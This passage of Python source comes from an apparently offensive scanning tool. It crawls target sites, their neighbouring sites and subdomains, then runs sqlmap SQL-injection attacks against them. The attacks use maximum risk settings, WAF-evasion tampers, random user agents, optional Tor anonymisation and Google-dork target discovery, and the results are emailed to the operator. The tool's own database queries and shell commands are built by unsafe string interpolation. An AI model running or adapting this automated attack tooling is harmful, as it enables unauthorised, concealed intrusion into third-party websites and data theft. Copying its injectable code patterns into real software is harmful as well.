            f.write(each_http_sub_domain + "\n")

    execute_sql_in_db(
        "update `%s` set get_sub_domains_finished='1' where start_url='%s'" %
        (main_target_table_name, start_url), DB_NAME)


def get_target_open_port_list(start_url):

    http_domain = get_http_domain_from_url(start_url)
    target_table_name = get_target_table_name_list(start_url)[0]
    result = execute_sql_in_db("select port_scan_info from %s where http_domain='%s'" %
                               (target_table_name, http_domain), "exp10itdb")
    open_port_list = []
    if len(result) > 0:
        nmap_result_string = result[0][0]
        a = re.findall(r"(\d+)/(tcp)|(udp)\s+open", nmap_result_string, re.I)
        for each in a:
            if each[0] not in open_port_list and each[0] not in COMMON_NOT_WEB_PORT_LIST:
                open_port_list.append(each[0])
    return open_port_list


def scrapy_splash_crawl_url(url):
    # replace crawl_url method
    url = re.sub(r"\s+$", "", url)
    spider_file = ModulePath + "/crawler/crawler/spiders/exp10it_spider.py"
    parsed = urlparse(url)
    if re.search(r"/\S+\.\S{1,4}$", parsed.path):
        path = re.sub(r"(?<=/)[^/\s\.]+\.\S{1,4}", "", parsed.path)
    else:
        if parsed.path == "" or parsed.path[-1] != "/":
            path = parsed.path + "/"
        else:
            path = parsed.path
    modify_url = parsed.scheme + "://" + parsed.netloc + path
    cmd = '''sed -i 's#target_url_to_crawl=".*"#target_url_to_crawl="%s"#g' %s''' % (
        modify_url, spider_file)
    os.system(cmd)
    # cmd="cd %s && python3 -m scrapy crawl exp10it" % (ModulePath+"/crawler/crawler")
    # os.system(cmd)

    from scrapy import cmdline
    os.chdir("./crawler")
    cmdline.execute('scrapy crawl exp10it'.split())


def crawl_scan(start_url):
    # target是主要目标
    # 对target目标的爬虫扫描,称为爬虫扫描而不是爬虫是因为这里不只是对一个eg.http://www.freebuf.com的扫描
    # 而是根据SCAN_WAY来对目标以及目标的旁站或子站的爬虫
    # target要求是http格式

    global DB_NAME
    global SCAN_WAY
    global DELAY

    target = get_http_domain_from_url(start_url)

    main_target_table_name = get_main_target_table_name(target)

    http_domain_sqli_scaned = get_scan_finished(
        "crawl_scaned",
        DB_NAME,
        main_target_table_name,
        'start_url',
        start_url)
    pang_domains_crawl_scaned = get_scan_finished(
        "pang_domains_crawl_scaned",
        DB_NAME,
        main_target_table_name,
        'start_url',
        start_url)
    sub_domains_crawl_scaned = get_scan_finished(
        "sub_domains_crawl_scaned",
        DB_NAME,
        main_target_table_name,
        'start_url',
        start_url)
    if http_domain_sqli_scaned == 0:
        scrapy_splash_crawl_url(start_url)
        set_scan_finished(
            "crawl_scaned",
            DB_NAME,
            main_target_table_name,
            'start_url',
            start_url)
    elif http_domain_sqli_scaned == 1:
        print("main target crawl_scaned")
        pass
    else:
        print("get_scan_finished error in crawl_scan func")
    if SCAN_WAY == 1:
        if pang_domains_crawl_scaned == 1:
            return
        # 从数据库中获取target的旁站列表
        sql = "select http_domain from `%s`" % (
            target.split("/")[-1].replace(".", "_") + "_pang")
        result = execute_sql_in_db(sql, DB_NAME)
        if len(result) > 0:
            for each in result:
                if each[0] != "":
                    crawl_scaned = get_scan_finished("crawl_scaned", DB_NAME, target.split(
                        "/")[-1].replace(".", "_") + "_pang", "http_domain", each[0])
                    if crawl_scaned == 0:
                        scrapy_splash_crawl_url(each[0])
                        set_scan_finished("crawl_scaned", DB_NAME, target.split(
                            "/")[-1].replace(".", "_") + "_pang", "http_domain", each[0])
                else:
                    print("crawl_scan func's each[0] error in SCAN_WAY 1")
            set_scan_finished("pang_domains_crawl_scaned", DB_NAME,
                              main_target_table_name, "start_url", start_url)
        else:
            print("crawl_scan func's %s error" % sql)
    elif SCAN_WAY == 2:
        if sub_domains_crawl_scaned == 1:
            return
        # 从数据库中获取target的子站列表
        sql = "select http_domain from `%s`" % (
            target.split("/")[-1].replace(".", "_") + "_sub")
        result = execute_sql_in_db(sql, DB_NAME)
        if len(result) > 0:
            for each in result:
                if each[0] != "":
                    crawl_scaned = get_scan_finished("crawl_scaned", DB_NAME, target.split(
                        "/")[-1].replace(".", "_") + "_sub", "http_domain", each[0])
                    if crawl_scaned == 0:
                        scrapy_splash_crawl_url(each[0])
                        set_scan_finished("crawl_scaned", DB_NAME, target.split(
                            "/")[-1].replace(".", "_") + "_sub", "http_domain", each[0])
                else:
                    print("crawl_scan func's each[0] error in SCAN_WAY 2")
                set_scan_finished("crawl_scaned", DB_NAME, target.split(
                    "/")[-1].replace(".", "_") + "_sub", "http_domain", each[0])
            set_scan_finished("sub_domains_crawl_scaned", DB_NAME,
                              main_target_table_name, "start_url", start_url)
        else:
            print("crawl_scan func's %s error" % sql)
    elif SCAN_WAY == 3:
        # 从数据库中获取target的旁站和子站列表,如果旁站中和子站中有相同的http_domain值
        # 也即有某个如wit.freebuf.com的url即是www.freebuf.com的旁站又是它的子站,则只在旁站中爬虫一次相同的
        # domain(wit.freebuf.com),子站中不再重复爬虫同一个domain(wit.freebuf.com)

        # 从数据库中获取target的旁站列表
        if pang_domains_crawl_scaned == 1 and sub_domains_crawl_scaned == 1:
            return
        pang_list = []
        sql = "select http_domain from `%s`" % (
            target.split("/")[-1].replace(".", "_") + "_pang")
        result = execute_sql_in_db(
            sql, eval(get_key_value_from_config_file(CONFIG_INI_PATH, 'default', 'db_name')))
        if len(result) > 0:
            for each in result:
                if each[0] != "":
                    pang_list.append(each[0])
                    crawl_scaned = get_scan_finished("crawl_scaned", DB_NAME, target.split(
                        "/")[-1].replace(".", "_") + "_pang", "http_domain", each[0])
                    if crawl_scaned == 0:
                        scrapy_splash_crawl_url(each[0])
                        set_scan_finished("crawl_scaned", DB_NAME, target.split(
                            "/")[-1].replace(".", "_") + "_pang", "http_domain", each[0])
                else:
                    print("crawl_scan func's each[0] error in SCAN_WAY 3")
            set_scan_finished("pang_domains_crawl_scaned", DB_NAME,
                              main_target_table_name, "start_url", start_url)
        else:
            print("crawl_scan func's %s error" % sql)

        # 从数据库中获取target的子站列表并对没有在旁站中出现的http domain爬虫
        sql = "select http_domain from `%s`" % (
            target.split("/")[-1].replace(".", "_") + "_sub")
        result = execute_sql_in_db(sql, DB_NAME)
        if len(result) > 0:
            for each in result:
                if each[0] != "" and each[0] not in pang_list:
                    crawl_scaned = get_scan_finished("crawl_scaned", DB_NAME, target.split(
                        "/")[-1].replace(".", "_") + "_sub", "http_domain", each[0])
                    if crawl_scaned == 0:
                        scrapy_splash_crawl_url(each[0])
                        set_scan_finished("crawl_scaned", DB_NAME, target.split(
                            "/")[-1].replace(".", "_") + "_sub", "http_domain", each[0])
                elif each[0] in pang_list:
                    print(
                        "%s is pang domain and sub domain and will not crawl in sub domain table since\
it has crawled in pang domain table" %
                        each[0])
                    set_scan_finished("crawl_scaned", DB_NAME, target.split(
                        "/")[-1].replace(".", "_") + "_sub", "http_domain", each[0])
                else:
                    print("crawl_scan func's each[0] error in SCAN_WAY 3")
            set_scan_finished("sub_domains_crawl_scaned", DB_NAME,
                              main_target_table_name, "start_url", start_url)
        else:
            print("crawl_scan func's %s error" % sql)

    elif SCAN_WAY == 4:
        pass
    else:
        print("SCAN_WAY error in crawl_scan")


def get_sqlmap_result_and_save_result(url):
    # 得到sqlmap对url对应target的扫描结果,并将相关结果存入数据库
    # url is start_url value
    # py3
    # 这个import有可能会因为最开始有过import相同文件的动作而两次的文件不同,导致自己的罗辑错误
    # 这里的import要求是有配置参数的config
    global DB_NAME
    global TARGETS_TABLE_NAME
    global FIRST_TARGETS_TABLE_NAME
    source_domain = get_url_belong_main_target_domain(url)
    sql1 = "select http_domain from `%s` where domain='%s'" % (
        TARGETS_TABLE_NAME, source_domain)
    sql2 = "select http_domain from `%s` where domain='%s'" % (
        FIRST_TARGETS_TABLE_NAME, source_domain)
    sql_result1 = execute_sql_in_db(sql1, DB_NAME)
    print(sql_result1)
    sql_result2 = execute_sql_in_db(sql2, DB_NAME)
    print(sql_result2)
    if len(sql_result1) > 0:
        # http_domain = sql_result1[0]
        tmp_table_name = TARGETS_TABLE_NAME
    elif len(sql_result2) > 0:
        # http_domain = sql_result2[0]
        tmp_table_name = FIRST_TARGETS_TABLE_NAME
    else:
        print("may be your select from db does not return the data you want,check it")
        input()
    url = re.sub(r"(\s)$", "", url)
    if url[:4] == 'http':
        import urllib.parse
        parsed = urllib.parse.urlparse(url)
        domain = parsed.hostname
    else:
        domain = url
    target_folder = HOME_PATH + "/.sqlmap/output/" + domain
    try:
        f = open(target_folder + '/log', "r+")
        log = f.read()
        f.close()
    except:
        print("%s not exist" % target_folder)
        return ""
    find_payload_pattern = re.compile(r"Payload:.*", re.I)
    find_payload = re.findall(find_payload_pattern, log)
    find_payload_pattern = re.compile(r"Payload:.*", re.I)
    find_payload = re.findall(find_payload_pattern, log)
    if len(log) > 0 and find_payload:
        payload_result = ""
        return_payload = []
        for each in find_payload:
            if each not in return_payload:
                return_payload.append(each)
        for each in return_payload:
            payload_result += (each + '\n')
        payload_result = payload_result[:-1]

        with open(target_folder + '/target.txt', "r+") as f:
            domain_result = f.read()
            save_result = domain_result + '\n' + \
                payload_result + '\nsource domain:' + source_domain
            if source_domain[:4] == "http":
                # http_domain = source_domain
                pass
            # 没有http开头的domain格式
            elif source_domain[:4] != "http" and len(source_domain) > 4:
                # http_domain = tmp_table_name
                pass
            else:
                print("get source domain of target slqi url wrong,check it")

        auto_write_string_to_sql(
            save_result,
            DB_NAME,
            tmp_table_name,
            "sqlis",
            "start_url",
            url)
        target_or_pang_or_sub_urls_table_name = domain.replace(
            ".", "_") + "_urls"
        auto_write_string_to_sql(
            1,
            DB_NAME,
            target_or_pang_or_sub_urls_table_name,
            "has_sqli",
            "url",
            url)
        return save_result
    else:
        return ""


def checkvpn():
    # 检测vpn是否连接成功
    import os
    import re
    # windows:-n 2
    # linux:-c 2
    if os.path.exists(CONFIG_INI_PATH):
        # forcevpn为1时代表强制要求可访问google才返回1,否则函数返回0
        forcevpn = eval(get_key_value_from_config_file(
            CONFIG_INI_PATH, 'default', 'forcevpn'))
        if forcevpn == 1:
            pass
        # 如果forcevpn为0则代表不要求可访问google,直接返回1,表示成功
        else:
            return 1
    else:
        pass

    # 如果不存在配置文件则要求可访问google才返回1
    a = 'wget https://www.google.com/ --timeout=3 -O /tmp/google_test'
    output = get_string_from_command(a)
    os.system("rm /tmp/google_test")
    if re.search(r"200 OK", output, re.I):
        return 1
    else:
        return 0



def sqlmap_g_human(http_url_or_file, tor_or_not, post_or_not):
    # this function use my_google_scraper to search google dork to get the full
    # urls,in this mode,we need input the yanzhengma by human,not robot,coz
    # sqlmap's -g option can only get the former 100 results,this function will
    # get almost the all results.

    global DELAY

    if DELAY == "":
        DELAY = 1

    if re.match("(http://)|(https://)", http_url_or_file):
        http_url_or_file = re.sub(r"\s$", "", http_url_or_file)
        domain_url = http_url_or_file[7:] if re.match(
            "(http://)", http_url_or_file) else http_url_or_file[8:]
        query = '''site:%s inurl:php|asp|aspx|jsp''' % domain_url
        # import easy_search
        # search_url_list=blew expression
        # easy_search.my_google_scraper_get_urls_from_query(query,"GoogleScraper_origin_http_domain_url_list")
        os.system('''~/myenv/bin/python3.5 easy_search.py "%s"''' % query)
        # here myenv/python3.5 is the selenium changed version

        # http_netloc = get_http_netloc_from_url(http_url_or_file)
        cookie = get_url_cookie(http_url_or_file)
        sqlmap_string = '''/usr/share/sqlmap/sqlmap.py -m GoogleScraper_origin_http_domain_url_list.txt -v 4 --delay %d --smart --batch --threads 4 --random-agent --tamper=between,space2randomblank,randomcase,xforwardedfor,charencode --level 5 --risk 3 --ignore-code 404 --technique=BE''' % DELAY
        sqlmap_string = sqlmap_string if cookie == "" else sqlmap_string + \
            " --cookie='%s'" % cookie
        forms_sqlmap_string = sqlmap_string + " --forms"
        tor_sqlmap_string = sqlmap_string + " --tor --tor-type=socks5 --check-tor"
        tor_forms_sqlmap_string = tor_sqlmap_string + " -forms"

        # print("sqlmap_string is:%s" % sqlmap_string)
        if not tor_or_not:
            print("sqlmap_string is:%s" % sqlmap_string)
            print("forms_sqlmap_string is:%s" % forms_sqlmap_string)
            while 1:
                if checkvpn():
                    os.system("/usr/bin/python2.7 %s" % sqlmap_string)
                    if post_or_not:
                        os.system(
                            "/usr/bin/python2.7 %s" %
                            forms_sqlmap_string)
                    break
                else:
                    time.sleep(1)
                    print("vpn is off,scan will continue till vpn is on")

        elif tor_or_not:
            print("tor_sqlmap_string is:%s" % tor_sqlmap_string)
            print("tor_forms_sqlmap_string is:%s" % tor_forms_sqlmap_string)
            while 1:
                if checkvpn():
                    os.system("/usr/bin/python2.7 %s" % tor_sqlmap_string)
                    if post_or_not:
                        os.system(
                            "/usr/bin/python2.7 %s" %
                            tor_forms_sqlmap_string)
                    break
                else:
                    time.sleep(1)
                    print("vpn is off,scan will continue till vpn is on")

        sqlmap_result = get_sqlmap_result_and_save_result(http_url_or_file)
        if sqlmap_result != "":
            mail_msg_to(
                sqlmap_result,
                subject="ssqqll")

    else:
        try:
            fp = open(http_url_or_file, "r+")
            all_urls = fp.readlines()
            # print("open file 666666")
            print(all_urls)
            fp.close()
            for each in all_urls:
                domain_url = each[7:] if re.match(
                    "(http://)", each) else each[8:]
                print(domain_url)
                query = '''site:%s inurl:php|asp|aspx|jsp''' % domain_url
                # import easy_search
                # search_url_list=blew expression
                # easy_search.my_google_scraper_get_urls_from_query(query,"GoogleScraper_origin_http_domain_url_list")
                if os.path.exists('GoogleScraper_origin_http_domain_url_list.txt'):
                    os.system(
                        "rm GoogleScraper_origin_http_domain_url_list.txt")
                os.system(
                    '''~/myenv/bin/python3.5 easy_search.py "%s"''' %
                    query)  # here myenv/python3.5 is the selenium changed version

                # http_netloc = get_http_netloc_from_url(each)
                cookie = get_url_cookie(http_url_or_file)
                sqlmap_string = '''/usr/share/sqlmap/sqlmap.py -m GoogleScraper_origin_http_domain_url_list.txt -v 4 --delay %d --smart --batch --threads 4 --random-agent --tamper=between,space2randomblank,randomcase,xforwardedfor,charencode --level 5 --risk 3 --ignore-code 404 --technique=BE''' % DELAY
                sqlmap_string = sqlmap_string if cookie == "" else sqlmap_string + \
                    " --cookie='%s'" % cookie
                forms_sqlmap_string = sqlmap_string + " --forms"
                tor_sqlmap_string = sqlmap_string + " --tor --tor-type=socks5 --check-tor"
                tor_forms_sqlmap_string = tor_sqlmap_string + " -forms"

                # print("sqlmap_string is:%s" % sqlmap_string)
                if not tor_or_not:
                    print("sqlmap_string is:%s" % sqlmap_string)
                    print("forms_sqlmap_string is:%s" % forms_sqlmap_string)
                    while 1:
                        if checkvpn():
                            os.system("/usr/bin/python2.7 %s" % sqlmap_string)
                            if post_or_not:
                                os.system(
                                    "/usr/bin/python2.7 %s" %
                                    forms_sqlmap_string)
                            break
                        else:
                            time.sleep(1)
                            print("vpn is off,scan will continue till vpn is on")

                elif tor_or_not:
                    print("tor_sqlmap_string is:%s" % tor_sqlmap_string)
                    print(
                        "tor_forms_sqlmap_string is:%s" %
                        tor_forms_sqlmap_string)
                    while 1:
                        if checkvpn():
                            os.system("/usr/bin/python2.7 %s" %
                                      tor_sqlmap_string)
                            if post_or_not:
                                os.system(
                                    "/usr/bin/python2.7 %s" %
                                    tor_forms_sqlmap_string)
                            break
                        else:
                            time.sleep(1)
                            print("vpn is off,scan will continue till vpn is on")

                for each in all_urls:
                    sqlmap_result = get_sqlmap_result_and_save_result(each)
                    if sqlmap_result != "":
                        mail_msg_to(sqlmap_result, subject="ssqqll")

        except:
            print("open file error")


def sqlmap_g_nohuman(http_url_or_file, tor_or_not, post_or_not):
    # this function use sqlmap's "-g" option to find sqli urls,but this "-g"
    # option can only get 100 results due to google api restriction,but in
    # this mode,there is no need for us human to handle any situation.

    global DELAY
    if DELAY == "":
        DELAY = 1

    if re.match("(http://)|(https://)", http_url_or_file):
        http_url_or_file = re.sub(r"\s$", "", http_url_or_file)
        domain_url = http_url_or_file[7:] if re.match(
            "(http://)", http_url_or_file) else http_url_or_file[8:]
        # http_netloc = get_http_netloc_from_url(http_url_or_file)
        cookie = get_url_cookie(http_url_or_file)
        sqlmap_string = '''/usr/share/sqlmap/sqlmap.py -g "site:%s inurl:php|asp|aspx|jsp" --delay %d --smart --batch -v 4 --threads 4 --random-agent --safe-url "%s" --safe-freq 1 --tamper=between,space2randomblank,randomcase,xforwardedfor,charencode --level 5 --risk 3 --ignore-code 404 --technique=BE''' % (
            domain_url, DELAY, http_url_or_file)
        sqlmap_string = sqlmap_string if cookie == "" else sqlmap_string + \
            " --cookie='%s'" % cookie
        forms_sqlmap_string = sqlmap_string + " --forms"
        tor_sqlmap_string = sqlmap_string + " --tor --tor-type=socks5 --check-tor"
        tor_forms_sqlmap_string = tor_sqlmap_string + " -forms"

        # print("sqlmap_string is:%s" % sqlmap_string)
        # sqlmap_string='''/usr/share/sqlmap/sqlmap.py --tor --tor-type=socks5
        # --check-tor -g site:%s allinurl:"php"|"php page="|"php id="|"php
        # tid="|"php pid="|"php cid="|"php path="|"php cmd="|"php file="|"php
        # cart_id="|"php bookid="|"php num="|"php id_product="|"php ProdId="|"php
        # id_category="|"php int_prod_iD="|"cfm storeid="|"php catid="|"php
        # cart_id="|"php order_id="|"php catalogid="|"php item="|"php title="|"php
        # CategoryID="|"php action="|"php news_iD="|"php newsid="|"php
        # product_id="|"php cat="|"php parent_id="|"php view="|"php itemid="'''
        if not tor_or_not:
            print("sqlmap_string is:%s" % sqlmap_string)
            print("forms_sqlmap_string is:%s" % forms_sqlmap_string)
            while 1:
                if checkvpn():
                    os.system("/usr/bin/python2.7 %s" % sqlmap_string)
                    if post_or_not:
                        os.system(
                            "/usr/bin/python2.7 %s" %
                            forms_sqlmap_string)
                    break
                else:
                    time.sleep(1)
                    print("vpn is off,scan will continue till vpn is on")
        elif tor_or_not:
            print("tor_sqlmap_string is:%s" % tor_sqlmap_string)
            print("tor_forms_sqlmap_string is:%s" % tor_forms_sqlmap_string)
            while 1:
                if checkvpn():
                    os.system("/usr/bin/python2.7 %s" % tor_sqlmap_string)
                    if post_or_not:
                        os.system(
                            "/usr/bin/python2.7 %s" %
                            tor_forms_sqlmap_string)
                    break
                else:
                    time.sleep(1)
                    print("vpn is off,scan will continue till vpn is on")

        sqlmap_result = get_sqlmap_result_and_save_result(http_url_or_file)
        if sqlmap_result != "":
            mail_msg_to(
                sqlmap_result,
                subject="ssqqll")

    else:
        fp = open(http_url_or_file, "r+")
        all_urls = fp.readlines()
        fp.close()
        for each in all_urls:
            domain_url = each[7:] if re.match("(http://)", each) else each[8:]
            sqlmap_string = '''/usr/share/sqlmap/sqlmap.py -g "site:%s inurl:php|asp|aspx|jsp" --delay 1 --smart --batch -v 4 --threads 4 --random-agent --safe-url "%s" --safe-freq 1 --tamper=between,space2randomblank,randomcase,xforwardedfor,charencode --level 5 --risk 3 --ignore-code 404 --technique=BE''' % (
                domain_url, each)
            forms_sqlmap_string = '''/usr/share/sqlmap/sqlmap.py -g "site:%s inurl:php|asp|aspx|jsp" --delay 1 --smart --batch -v 4 --threads 4 --random-agent --safe-url "%s" --safe-freq 1 --tamper=between,space2randomblank,randomcase,xforwardedfor,charencode --level 5 --risk 3 --ignore-code 404 --technique=BE --forms''' % (
                domain_url, each)
            tor_sqlmap_string = '''/usr/share/sqlmap/sqlmap.py --tor --tor-type=socks5 --check-tor -g "site:%s inurl:php|asp|aspx|jsp" --delay 1 --smart --batch -v 4 --threads 4 --random-agent --safe-url "%s" --safe-freq 1 --tamper=between,space2randomblank,randomcase,xforwardedfor,charencode --level 5 risk 3 --ignore-code 404 --technique=BE''' % (
                domain_url, each)
            tor_forms_sqlmap_string = '''/usr/share/sqlmap/sqlmap.py --tor --tor-type=socks5 --check-tor -g "site:%s inurl:php|asp|aspx|jsp" --delay 1 --smart --batch -v 4 --threads 4 --random-agent --safe-url "%s" --safe-freq 1 --tamper=between,space2randomblank,randomcase,xforwardedfor,charencode --level 5 --risk 3 --ignore-code 404 --technique=BE --forms''' % (
                domain_url, each)
            # print("sqlmap_string is:%s" % sqlmap_string)
            # sqlmap_string='''/usr/share/sqlmap/sqlmap.py --tor --tor-type=socks5
            # --check-tor -g site:%s allinurl:"php"|"php page="|"php id="|"php
            # tid="|"php pid="|"php cid="|"php path="|"php cmd="|"php file="|"php
            # cart_id="|"php bookid="|"php num="|"php id_product="|"php ProdId="|"php
            # id_category="|"php int_prod_iD="|"cfm storeid="|"php catid="|"php
            # cart_id="|"php order_id="|"php catalogid="|"php item="|"php title="|"php
            # CategoryID="|"php action="|"php news_iD="|"php newsid="|"php
            # product_id="|"php cat="|"php parent_id="|"php view="|"php
            # itemid="'''
            if not tor_or_not:
                print("sqlmap_string is:%s" % sqlmap_string)
                print("forms_sqlmap_string is:%s" % forms_sqlmap_string)
                while 1:
                    if checkvpn():
                        os.system("/usr/bin/python2.7 %s" % sqlmap_string)
                        if post_or_not:
                            os.system(
                                "/usr/bin/python2.7 %s" %
                                forms_sqlmap_string)
                        break
                    else:
                        time.sleep(1)
                        print("vpn is off,scan will continue till vpn is on")
            elif tor_or_not:
                print("tor_sqlmap_string is:%s" % tor_sqlmap_string)
                print(
                    "tor_forms_sqlmap_string is:%s" %
                    tor_forms_sqlmap_string)
                while 1:
                    if checkvpn():
                        os.system("/usr/bin/python2.7 %s" % tor_sqlmap_string)
                        if post_or_not:
                            os.system(
                                "/usr/bin/python2.7 %s" %
                                tor_forms_sqlmap_string)
                        break
                    else:
                        time.sleep(1)
                        print("vpn is off,scan will continue till vpn is on")

            sqlmap_result = get_sqlmap_result_and_save_result(each)
            if sqlmap_result != "":
                mail_msg_to(
                    sqlmap_result,
                    subject="ssqqll")


def sqlmap_crawl(origin_http_url_or_file, tor_or_not, post_or_not):
    # this function use sqlmap's "--crawl" option to find sqli urls.
    global DELAY

    if os.path.exists("/usr/share/sqlmap/sqlmap.py") and os.path.exists("/usr/share/sqlmap/.git"):
        os.system("cd /usr/share/sqlmap/ && git pull")
    else:
        os.system(
            "cd /usr/share/ && rm -r sqlmap && git clone https://github.com/sqlmapproject/sqlmap")

    if DELAY == "":
        DELAY = 1

    if re.match("(http://)|(https://)", origin_http_url_or_file):
        origin_http_url = re.sub(r'(\s)$', "", origin_http_url_or_file)
        # http_netloc = get_http_netloc_from_url(origin_http_url)
        cookie = get_url_cookie(origin_http_url_or_file)
        sqlmap_string = '''/usr/share/sqlmap/sqlmap.py -u "%s" --crawl=5 --crawl-exclude "(logout)|(logoff)|(exit)|(signout)|(signoff)" --delay %d --smart -v 4 --threads 4 --batch --random-agent --safe-url "%s" --safe-freq 1 --tamper=between,space2randomblank,randomcase,xforwardedfor,charencode --level 5 --risk 3 --ignore-code 404 --technique=BE''' % (
            origin_http_url, DELAY, origin_http_url)
        sqlmap_string = sqlmap_string if cookie == "" else sqlmap_string + \
            " --cookie='%s'" % cookie

        forms_sqlmap_string = sqlmap_string + " --forms"
        tor_sqlmap_string = sqlmap_string + " --tor --tor-type=socks5 --check-tor"
        tor_forms_sqlmap_string = tor_sqlmap_string + " -forms"
        # print("sqlmap_string is:%s" % sqlmap_string)
        if not tor_or_not:
            #print("sqlmap_string is:%s" % sqlmap_string)
            #print("forms_sqlmap_string is:%s" % forms_sqlmap_string)
            while 1:
                if checkvpn():
                    os.system("/usr/bin/python2.7 %s" % sqlmap_string)
                    if post_or_not:
                        os.system(
                            "/usr/bin/python2.7 %s" %
                            forms_sqlmap_string)
                    break
                else:
                    time.sleep(1)
                    print("vpn is off,scan will continue till vpn is on")

        elif tor_or_not:
            print("tor_sqlmap_string is:%s" % tor_sqlmap_string)
            print("tor_forms_sqlmap_string is:%s" % tor_forms_sqlmap_string)
            while 1:
                if checkvpn():
                    os.system("/usr/bin/python2.7 %s" % tor_sqlmap_string)
                    if post_or_not:
                        os.system(
                            "/usr/bin/python2.7 %s" %
                            tor_forms_sqlmap_string)
                    break
                else:
                    time.sleep(1)
                    print("vpn is off,scan will continue till vpn is on")

        sqlmap_result = get_sqlmap_result_and_save_result(
            origin_http_url_or_file)
        if sqlmap_result != "":
            mail_msg_to(
                sqlmap_result,
                subject="ssqqll")

    else:
        fp = open(origin_http_url_or_file, "r+")
        all_urls = fp.readlines()
        fp.close()
        for each in all_urls:
            origin_http_url = re.sub(r'(\s)$', "", each)
            # http_netloc = get_http_netloc_from_url(origin_http_url)
            cookie = get_url_cookie(origin_http_url_or_file)
            sqlmap_string = '''/usr/share/sqlmap/sqlmap.py -u "%s" --crawl=5 --crawl-exclude "(logout)|(logoff)|(exit)|(signout)|(signoff)" --delay %d --smart -v 4 --threads 4 --batch --random-agent --safe-url "%s" --safe-freq 1 --tamper=between,space2randomblank,randomcase,xforwardedfor,charencode --level 5 --risk 3 --ignore-code 404 --technique=BE''' % (
                origin_http_url, DELAY, origin_http_url)
            sqlmap_string = sqlmap_string if cookie == "" else sqlmap_string + \
                " --cookie='%s'" % cookie
            forms_sqlmap_string = sqlmap_string + " --forms"
            tor_sqlmap_string = sqlmap_string + " --tor --tor-type=socks5 --check-tor"
            tor_forms_sqlmap_string = tor_sqlmap_string + " -forms"

            # print("sqlmap_string is %s" % sqlmap_string)
            if not tor_or_not:
                print("sqlmap_string is:%s" % sqlmap_string)
                print("forms_sqlmap_string is:%s" % forms_sqlmap_string)
                while 1:
                    if checkvpn():
                        os.system("/usr/bin/python2.7 %s" % sqlmap_string)
                        if post_or_not:
                            os.system(
                                "/usr/bin/python2.7 %s" %
                                forms_sqlmap_string)
                        break
                    else:
                        time.sleep(1)
                        print("vpn is off,scan will continue till vpn is on")

            elif tor_or_not:
                print("tor_sqlmap_string is:%s" % tor_sqlmap_string)
                print(
                    "tor_forms_sqlmap_string is:%s" %
                    tor_forms_sqlmap_string)
                while 1:
                    if checkvpn():
                        os.system("/usr/bin/python2.7 %s" % tor_sqlmap_string)
                        if post_or_not:
                            os.system(
                                "/usr/bin/python2.7 %s" %
                                tor_forms_sqlmap_string)
                        break
                    else:
                        time.sleep(1)
                        print("vpn is off,scan will continue till vpn is on")

            sqlmap_result = get_sqlmap_result_and_save_result(each)
            if sqlmap_result != "":
                mail_msg_to(
                    sqlmap_result,
                    subject="ssqqll")


def sqli_scan(start_url):
    # 根据SCAN_WAY而采取相应的扫描sqli模式
    # target要求是http...格式,不能是纯domain
    global DB_NAME
    global SCAN_WAY
    target = get_http_domain_from_url(start_url)

    http_domain = target
    main_target_table_name = get_main_target_table_name(http_domain)

    http_domain_sqli_scaned = get_scan_finished(
        "sqli_scaned", DB_NAME,
        main_target_table_name, "start_url", start_url)

    pang_domains_sqli_scaned = get_scan_finished(
        "pang_domains_sqli_scaned",
        DB_NAME,
        main_target_table_name,
        "start_url",
        start_url)
    sub_domains_sqli_scaned = get_scan_finished(
        "sub_domains_sqli_scaned",
        DB_NAME,
        main_target_table_name,
        "start_url",
        start_url)
    if SCAN_WAY == 1 and http_domain_sqli_scaned == 1 and pang_domains_sqli_scaned == 1:
        return
    if SCAN_WAY == 2 and http_domain_sqli_scaned == 1 and sub_domains_sqli_scaned == 1:
        return
    if SCAN_WAY == 3 and http_domain_sqli_scaned == 1 and pang_domains_sqli_scaned == 1 and sub_domains_sqli_scaned == 1:
        return
    if SCAN_WAY == 4 and http_domain_sqli_scaned == 1:
        return

    print(
        '''do you want use 'tor' service in your sqli action? sometimes when your network is not very well,
is not a good idea to use tor,but when your targets has waf,use tor is better.
input Y(y) or N(n) default [N]''', end='')
    choose_tor = get_input_intime('n', 5)
    if choose_tor == 'Y' or choose_tor == 'y':
        bool_tor = True
    else:
        bool_tor = False

    print(
        '''input 'y' to use sqlmap auto find forms,input 'n' for not,
input Y(y) or N(n) default [Y]''', end='')
    choose_post = get_input_intime('y', 5)
    if choose_post == 'Y' or choose_post == 'y':
        post_or_not = True
    else:
        post_or_not = False

    print('''there are two kinds of sqli blew:
1.use "sqlmap_crawl"
2.use "sqlmap-g-nohuman"
input your number here''', end='')
    num = str(get_input_intime(1, 5))
    if num == str(1):
        while(1):
            if checkvpn():
                if http_domain_sqli_scaned == 0 or pang_domains_sqli_scaned == 0 or sub_domains_sqli_scaned == 0:
                    # 不管SCAN_WAY的值为多少,首先对main target进行sqli扫描
                    if http_domain_sqli_scaned == 0:
                        sqlmap_crawl(start_url, bool_tor, post_or_not)
                        set_scan_finished(
                            "sqli_scaned", DB_NAME, main_target_table_name, "start_url", start_url)

                    domain_pang_file = LOG_FOLDER_PATH + "/pang/%s_pang.txt" % http_domain.split(
                        '/')[-1].replace(".", "_")
                    domain_pang_table_name = http_domain.split(
                        '/')[-1].replace(".", "_") + "_pang"
                    http_sub_domain_file = LOG_FOLDER_PATH + "/sub/%s_sub.txt" % http_domain.split(
                        '/')[-1].replace(".", "_")
                    domain_sub_table_name = http_domain.split(
                        '/')[-1].replace(".", "_") + "_sub"

                    if SCAN_WAY == 1:
                        # 1和3的扫描方式中要扫描旁站,此时对旁站进行sqli扫描
                        with open(domain_pang_file, "r+") as f:
                            domain_pang_list = f.readlines()
                            for pang_http_domain in domain_pang_list:
                                pang_http_domain_value = re.sub(
                                    r"(\s)$", "", pang_http_domain)
                                if pang_http_domain_value != http_domain:
                                    sqli_scaned = get_scan_finished(
                                        "sqli_scaned", DB_NAME, domain_pang_table_name, "http_domain", pang_http_domain_value)
                                    if sqli_scaned == 0:
                                        # 在子站表中查询是否当前旁站也是子站,如果是且在上次子站扫描中已经扫描过
                                        # 那么此次不再重复sqli扫描,并在旁站表中将sqli_scaned标记为1
                                        sqli_scaned = get_scan_finished(
                                            "sqli_scaned", DB_NAME, domain_sub_table_name, "http_domain", pang_http_domain_value)
                                        if sqli_scaned == 1:
                                            print(
                                                "this pang domain is the same to one sub domain whose sqli scan finished in sub domain table")
                                        else:
                                            sqlmap_crawl(
                                                pang_http_domain_value, bool_tor, post_or_not)
                                        set_scan_finished(
